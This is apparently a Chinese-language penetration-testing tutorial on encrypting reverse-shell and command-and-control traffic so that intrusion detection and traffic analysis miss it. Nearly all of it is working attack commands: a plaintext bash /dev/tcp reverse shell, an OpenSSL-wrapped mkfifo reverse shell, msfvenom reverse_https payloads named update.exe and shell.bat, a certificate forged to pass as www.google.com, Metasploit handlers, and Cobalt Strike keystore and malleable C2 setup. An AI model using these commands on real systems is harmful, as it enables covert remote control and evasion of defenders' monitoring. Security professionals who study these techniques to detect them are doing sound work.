内网渗透测试之流量加密
字数 946 2025-08-07 08:22:33
内网渗透测试之流量加密技术详解
0x00 前言
在内网渗透测试的后渗透阶段,横向移动时通常需要反弹shell。如果使用明文传输,内网的IDS/IPS等安全设备会检测到恶意行为,防守方可通过流量分析溯源攻击行为。因此,对流量进行加密是规避检测的关键技术。
0x01 未加密流量的风险
典型反弹shell命令:
# 攻击机监听
nc -lvp 8765
# 目标机执行
bash -i >& /dev/tcp/192.168.211.129/8765 0>&1
风险分析:
- Wireshark抓包可直接查看命令与返回内容
- 流量设备可轻易识别攻击行为
- 所有通信均为明文传输
0x02 OpenSSL加密基础
OpenSSL是一个开源的安全通信库,提供以下特性:
- 防止通信被窃听
- 服务器身份认证
- 可选客户端认证
- 独立于应用层协议(HTTP/FTP/TELNET等)
- 在应用层通信前完成加密算法和密钥协商
0x03 Netcat流量加密方案
1. 生成自签名证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
参数说明:
-x509:生成自签名证书-newkey rsa:4096:生成4096位RSA密钥-days 365:证书有效期1年-nodes:不加密私钥
2. 攻击机启动SSL服务
openssl s_server -quiet -key key.pem -cert cert.pem -port 8766
3. 目标机反弹加密shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.211.129:8766 > /tmp/s; rm /tmp/s
效果:Wireshark捕获的流量显示为加密乱码
0x04 Metasploit流量加密方案
1. 创建伪造证书
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt
2. 生成加密Payload
Windows可执行文件:
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.211.129 LPORT=4444 \
PayloadUUIDTracking=true PayloadUUIDName=Whoamishell \
HandlerSSLCert=/root/桌面/www.google.com.pem \
StagerVerifySSLCert=true -f exe -o /root/桌面/update.exe
PowerShell脚本:
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.211.129 LPORT=4444 \
PayloadUUIDTracking=true HandlerSSLCert=/root/桌面/www.google.com.pem \
StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o /root/桌面/shell.bat
3. 启动监听器
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 192.168.211.129
set LPORT 4444
set HandlerSSLCert /root/桌面/www.google.com.pem
set StagerVerifySSLCert true
run
4. 自动伪造证书模块
use auxiliary/gather/impersonate_ssl
set RHOST www.baidu.com
run
生成的PEM证书位于/root/.msf4/loot/
5. Python加密方案
生成Payload:
msfvenom -p cmd/unix/reverse_python_ssl lhost=192.168.211.129 lport=4444
监听设置:
use exploit/multi/handler
set payload cmd/unix/reverse_python_ssl
set lhost 192.168.211.129
run
0x05 Cobalt Strike流量加密
1. 去除默认证书特征
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 \
-genkey -keyalg RSA -alias baidu.com \
-dname "CN=US, OU=baidu.com, O=Sofatest, L=Beijing, ST=Cyberspace, C=CN"
2. 修改C2 Profile
关键修改部分:
https-certificate {
set keystore "../cobaltstrike.store";
set password "123456";
# 其他字段与证书信息保持一致
}
3. 验证Profile
./c2lint ./malleable-c2-master/jquery-c2.4.3.profile
4. 启动Teamserver
./teamserver 172.26.210.212 123456 ./malleable-c2-master/jquery-c2.4.3.profile
注意事项:
- 修改默认端口:
-Dcobaltstrike.server_port=49949 - 使用HTTPS监听器
- 生成的PowerShell脚本在目标机执行后,流量将加密传输
总结
流量加密技术要点:
- 避免使用默认配置和证书
- 所有反弹shell通信必须加密
- 定期更换证书和密钥
- 结合其他免杀技术增强隐蔽性
- 针对不同场景选择合适加密方案
通过以上方法,可以有效规避内网安全设备的流量检测,提高渗透测试的成功率。